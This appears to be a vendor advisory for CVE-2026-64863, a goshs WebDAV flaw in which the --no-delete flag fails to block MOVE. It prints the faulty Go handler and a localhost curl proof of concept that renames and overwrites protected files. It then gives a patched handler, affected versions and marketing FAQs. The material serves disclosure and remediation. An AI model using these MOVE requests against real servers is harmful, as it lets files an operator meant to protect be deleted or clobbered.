CVE-2026-64863

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
    case http.MethodPut, "MKCOL", "MOVE", "COPY":
        if fs.ReadOnly {
            http.Error(w, "read-only", http.StatusForbidden)
            return
        }
    case http.MethodDelete:
        if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
            http.Error(w, "delete disabled", http.StatusForbidden)
            return
        }
    case http.MethodGet, http.MethodHead:
        if fs.UploadOnly {
            http.Error(w, "upload-only", http.StatusForbidden)
            return
        }
    }
    ...

$ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt
$ printf 'VICTIM-EXISTING-FILE\n'  > webroot/victim.txt
$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete
INFO  Serving WEBDAV on 127.0.0.1:18081 from webroot

$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Server: goshs/v2.1.3 (darwin; go1.26.1)

$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt
HTTP/1.1 201 Created
Server: goshs/v2.1.3 (darwin; go1.26.1)

# before: victim.txt = VICTIM-EXISTING-FILE
$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt
HTTP/1.1 204 No Content
Server: goshs/v2.1.3 (darwin; go1.26.1)
# after:  victim.txt = TOP-SECRET-CONTENTS   (original VICTIM-EXISTING-FILE destroyed via RemoveAll)

An operator running goshs -w --no-delete -d /srv/artifacts to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via MOVE. Confidential existing files can be renamed away or overwritten. The --no-delete control is silently ineffective on the WebDAV port for the MOVE verb.

CVE-2026-64863 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.4); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Move MOVE (and COPY on collision-with-overwrite, which also deletes) into the delete-gated branch, or add fs.NoDelete to the write-verb branch for MOVE:

case http.MethodPut, "MKCOL", "COPY":
    if fs.ReadOnly {
        http.Error(w, "read-only", http.StatusForbidden)
        return
    }
case "MOVE":
    // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst).
    if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
        http.Error(w, "move disabled", http.StatusForbidden)
        return
    }
case http.MethodDelete:
    if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
        http.Error(w, "delete disabled", http.StatusForbidden)
        return
    }

Add an integration test covering MOVE under --no-delete (the current testWebdavMoveCopy only exercises MOVE/COPY in unrestricted mode).

1. What is CVE-2026-64863? CVE-2026-64863 is a critical-severity security vulnerability in goshs.de/goshs/v2 (go), affecting versions <= 2.1.3. It is fixed in 2.1.4.
2. How severe is CVE-2026-64863? CVE-2026-64863 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-64863?
   • goshs.de/goshs/v2 (go) (versions <= 2.1.3)
   • github.com/patrickhener/goshs/v2 (go) (versions <= 2.1.3)
   • goshs.de/goshs (go) (versions <= 1.1.4)
   • github.com/patrickhener/goshs (go) (versions <= 1.1.4)
4. Is there a fix for CVE-2026-64863? Yes. CVE-2026-64863 is fixed in 2.1.4. Upgrade to this version or later.
5. Is CVE-2026-64863 exploitable, and should I be worried? Whether CVE-2026-64863 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-64863 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-64863?
   • Upgrade goshs.de/goshs/v2 to 2.1.4 or later
   • Upgrade github.com/patrickhener/goshs/v2 to 2.1.4 or later

Other vulnerabilities in goshs.de/goshs/v2